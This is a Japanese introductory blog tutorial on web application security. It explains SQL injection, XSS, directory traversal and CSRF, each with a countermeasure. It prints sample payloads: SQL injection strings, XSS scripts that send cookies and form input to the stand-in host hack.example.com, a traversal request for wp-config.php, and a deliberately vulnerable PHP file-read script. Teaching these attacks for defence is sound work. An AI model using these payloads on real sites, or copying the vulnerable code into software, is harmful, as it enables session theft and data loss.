Webアプリケーションセキュリティ入門 ~具体例を用いて堅牢なアプリの作り方を学ぶ~


はじめに

今回の記事は最近世間を賑わせている(悪い意味で)Webアプリケーションにおけるセキュリティ問題についてです。

クラッカー(悪意のあるハッカー)たちはあの手この手でクレデンシャルな情報(秘匿性の高い情報)を盗み、悪用しようとします。

Webアプリケーションのセキュリティを高めるためには、まずどうやってクラッカーたちが攻撃するか知る必要があります。

この記事では代表的なWebアプリケーションの脆弱性をついた攻撃手法を紹介していきます!

SQLインジェクション

概要

悪意のあるユーザーによってSQLコマンドが実行され、データベースの値を取得、改竄、削除される。

脆弱性があるケース

パラメータから直接SQLコマンドを流す処理が書かれている場合。

User.where("id='#{params[:id]}'")

この様に書いた場合、対象のURLに

{
  "id": "' or 1=1 --'"
}

のリクエストが来た場合全てのユーザー情報が取得され、さらには

{
  "id": "' or DELETE FROM USERS --'"
}

などとリクエストが来ると全てのユーザー情報が削除されてしまいます。

対策方法

Railsの場合プレースホルダーを使うやり方が一般的です。

User.where(id: params[:id])

こうすることできちんとパラメーターがuserのidの検索条件のみに使用されることになります。

SELECT * FROM `users` WHERE (id = '#ここに検索条件が入る')

データベースから値を取得する処理を書く際は生のSQLをパラメーターから直接流す処理を書いていないか確認することが必要です。

クロスサイトスクリプティング(XSS)攻撃

概要

悪意のあるユーザーによってスクリプトを埋め込まれ、スクリプトが埋め込まれたページを開いたユーザーに意図しないスクリプトが実行される。

脆弱性があるケース

Twitterの様な投稿サイトがあると仮定して、あるユーザーがこの様な内容の投稿をしたとします。

<script>alert('XSS危険性があります!')</script>;

もしこのサイトがXSSの脆弱性を含んでいた場合、この投稿を見ただけで勝手にスクリプトが動いてしまい、ユーザーの画面に「XSS危険性があります!」というポップアップが表示されるはずです。

対策方法

サニタイジング(エスケープ)をする。サニタイジングとはスクリプトの構成に必要となる文字が入力された場合に、その文字を別の文字へ書き換える手法です。

代表的な例として以下があります。

<   &lt;
>   &gt;
&   &amp;
“   &quot;
‘   #39;

引用: https://www.kagoya.jp/howto/network/xss/

ほとんどのプログラミング言語が自動でサニタイジングしてくれますが、念のためスクリプトをDBに保存して出力してみるのが良さそうです。

上記の例は単にユーザーの画面にアラートを出すだけの悪戯の様なスクリプトでしたが、このXSSを用いて他にどの様なことができてしまうのか、見ていきましょう。

セッションハイジャック

悪意のあるユーザーがhttps://hack.example.com というサーバーを立てているとしましょう。
そしてそのユーザーが脆弱性のあるサイトに以下のスクリプトを埋め込みました。

<script>
window.location="https://hack.example.com?"+document.cookie;</script>

そうした場合、このサイトを訪れた人のcookie情報が盗まれその中に含まれるユーザーのセッション情報がhttps://hack.example.com に送信されてしまいます。

そして抜き取った情報をChromeの拡張機能、EditThisCookieやheadersに付与してリクエストを送ることで、あたかもそのユーザーに成り代わって投稿等することができてしまいます。

この攻撃手法をセッションハイジャックといいます。

Webサイト改竄

悪意のあるユーザーが脆弱性のあるサイトに以下のスクリプトを埋め込みました。

<script>
$('#email').on('change', function() {
  var request = new XMLHttpRequest();
  request.open("get", "https://hack.example.com?"+this.val(), true);
})
</script>

このスクリプトが埋め込まれたサイトを訪れたユーザーが


<input type="text" name="email" id="email">

となっているメールアドレスフォームに入力した場合、入力した内容がすべてhttps://hack.example.com に送られてメールアドレスを収集されてしまいます。

フィッシング

とある通販のサイトに脆弱性があり、決済画面にて以下のスクリプトを埋め込まれたとします。

<script>location.href='https://hack.example.com/checkout'</script>

悪意のあるユーザーはhttps://hack.example.com/checkout にその通販サイトの決済画面そっくりのUIでサイトを立てました。

この時、決済画面に遷移したユーザーは埋め込まれたスクリプトによってhttps://hack.example.com/checkout へ飛ばされ、見た目がそっくりのため悪意のあるページにいることを知らずにクレジットカード情報を入力してしまいました。

こうして入力された情報が悪意のあるユーザーのもとにわたり不正利用されてしまします。

以上がXSSを用いた主要な攻撃パターンです。
XSSはよく用いられる攻撃手法で、ユーザーの個人情報が抜かれたり、悪意のあるページに遷移させられたりとユーザーに対して大きな影響をもたらします。

スクリプトを実行される可能性がないか、きちんと検証してwebアプリケーションを作ることが大切です。

ディレクトリ・トラバーサル(パストラバーサル)攻撃

概要

機密ファイルや公開していないファイルに相対パス指定などでプログラムに表示させて、不正なアクセスをする攻撃手法。

脆弱性があるケース

WordPressはディレクトリ・トラバーサル攻撃の対象によくされます。
と言いますのも一般的にWordPressのディレクトリ構成は同じだからです。

また個人がプラグイン等を作って簡単に配布できるのも大きな要因の一つです。

ここでは以下の不正なプログラムが埋め込まれたmalware-sampleプラグインをインストールしてしまったと仮定します。

malware-sample/download.php
<?php
$filename=$_GET['filename'];
$file = '/var/www/html/' . $filename;
if (file_exists($file) === true) {
  readfile($file); // NG
}
?>

そしてこのプラグインを導入してあるWordPressサイトに向けて悪意のあるユーザーが以下の様なリクエストを投げたとします。

https://example.com/wp-content/themes/malware/download.php?filename=../../../../../wp-config.php

そうするとWordPressにおいてログイン情報やDB接続情報を記載するファイル、wp-config.phpまで相対パスによって遡られ、ファイルの中身を表示されてしまいます。

対策方法

WordPressを使用している場合、

  1. プラグインをダウンロードするときはそのプラグインが信用性の高いものか調べる。
  2. プラグイン常に最新の状態にアップデートしておく

WordPressを使用していなくともファイル名をパラメータとして受け取るプログラムを書く際
には以下の点に気をつける必要がありそうです。

  1. 「/」ではじまるパス名(絶対パス名)を受理しない
  2. 「../」(親ディレクトリ修飾)を含むパス名を受理しない

参照: https://www.ipa.go.jp/security/awareness/vendor/programmingv2/contents/402.html

クロスサイト・リクエストフォージェリ(CSRF)

概要

ユーザーの意図しないリクエストが他のサイトから送信され実行されてしまうこと。

脆弱性があるケース

こちらはwikipediaに記載してある例がとても分かり易かったです。

CSRF脆弱性を具体例を用いて説明する。 今ある銀行のWebサイト(標的サイト)にログインしているユーザALICEが自身の口座からBOBという別のユーザの口座に100ドルを送金する際、ALICEのブラウザから

GET http://bank.com/transfer.do?acct=BOB&amount=100 HTTP/1.1
というHTTPリクエストが銀行のWebサイトに向かって送信されるものとする[7]。

攻撃者MARIAは

http://bank.com/transfer.do?acct=MARIA&amount=10000 HTTP/1.1
というURLを公開掲示板に張ったり、不特定多数にメールしたりする[7]。

銀行のユーザALICEがこのURLをクリックしてしまうと、ALICEのブラウザから

GET http://bank.com/transfer.do?acct=MARIA&amount=10000 HTTP/1.1
というHTTPリクエストが銀行に向かって送信される[7]。この際たまたまALICEが銀行にログインしていたら、銀行のサーバはこのリクエストを送金要求だと解釈してしまい、ALICEの口座からMARIAの口座に一万ドルが不正送金されてしまう。

本来、銀行のサーバは、ALICEのブラウザから受け取ったHTTPリクエストが本当にALICE当人の意志で送られたものなのかをチェックし、チェックを通った時のみHTTPリクエストを受け付けるべきである。

しかし上述した銀行サーバのWebサイトの実装にはこのようなチェック機構は備わっておらず、これがMARIAにCSRF攻撃を可能にしてしまった原因である。

引用: https://ja.wikipedia.org/wiki/%E3%82%AF%E3%83%AD%E3%82%B9%E3%82%B5%E3%82%A4%E3%83%88%E3%83%AA%E3%82%AF%E3%82%A8%E3%82%B9%E3%83%88%E3%83%95%E3%82%A9%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%AA

つまりあるアプリケーションにログインした状態でユーザーが別のタブを開き、悪意のあるスクリプトが埋め込まれたページを開くことによってあたかもユーザーがそのスクリプトをログイン状態であるサーバーに向けて実行したかの様に見せかけて行う攻撃です。

対策方法

大きく3つの対策方法があります。

  1. トークン埋め込み
    暗号論的擬似乱数値を、Cookie値またはセッション、およびformのhidden値にセットしてPOSTの処理でそれがサーバー側で作成されたものと一致するか確認する方法です。
    現在では多くのHTMLのフォーム生成ライブラリは自動でこの機能を備えております。

  2. Refererのチェック
    本当にリクエストが意図されたページから行われたものであるか、Refererを確認することによって検証することができます。ただしこの方法には欠点もあり、Refererが送信されない様設定しているユーザーはその処理を実行できなくなる点です。(パーソナルファイアウォールやブラウザのアドオンによってRefererを抑止しているユーザーも多数いる)

  3. 重要な処理の前には再度パスワードを入力させる
    決済処理や個人情報変更処理の前にはログイン状態であっても再度パスワードを入力させる等の仕組みがあるとCSRFを防ぐことができます。ただし重要でない処理にもこの機能をつけるとUXが悪くなるのでよく考えて実装する必要がありそうです。

まとめ

この記事ではWebアプリケーション作成の際に気をつけるべき脆弱性とそこを狙った代表的な攻撃手法を紹介していきました。

上記で述べた様な対策法を行うとともにWAF(Web Application Firewall)を入れるのも非常に有効です!
AWSを使っている場合簡単にWAFを導入できるので基本的なWAFの設定(SQL injectionやDDOS攻撃)は入れたおくのがベターです。

今までぼんやりとしか分かっていなかったXSS攻撃やCSRFについて詳しく分かり、記事を書きながら非常に勉強になりました。

今回こちらの本を参考に記事を書いたので是非読みたい方はポチッとしてみてください!


https://www.amazon.co.jp/%E4%BD%93%E7%B3%BB%E7%9A%84%E3%81%AB%E5%AD%A6%E3%81%B6-%E5%AE%89%E5%85%A8%E3%81%AAWeb%E3%82%A2%E3%83%97%E3%83%AA%E3%82%B1%E3%83%BC%E3%82%B7%E3%83%A7%E3%83%B3%E3%81%AE%E4%BD%9C%E3%82%8A%E6%96%B9-%E7%AC%AC2%E7%89%88-%E8%84%86%E5%BC%B1%E6%80%A7%E3%81%8C%E7%94%9F%E3%81%BE%E3%82%8C%E3%82%8B%E5%8E%9F%E7%90%86%E3%81%A8%E5%AF%BE%E7%AD%96%E3%81%AE%E5%AE%9F%E8%B7%B5-%E5%BE%B3%E4%B8%B8/dp/4797393165

(アフェリエイトリンクではないのであしからず!!